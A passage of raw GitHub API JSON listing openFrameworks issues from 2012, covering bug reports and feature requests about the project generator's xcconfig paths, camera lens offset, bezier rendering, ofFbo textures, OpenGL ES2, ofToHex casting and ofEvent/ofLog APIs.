bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog 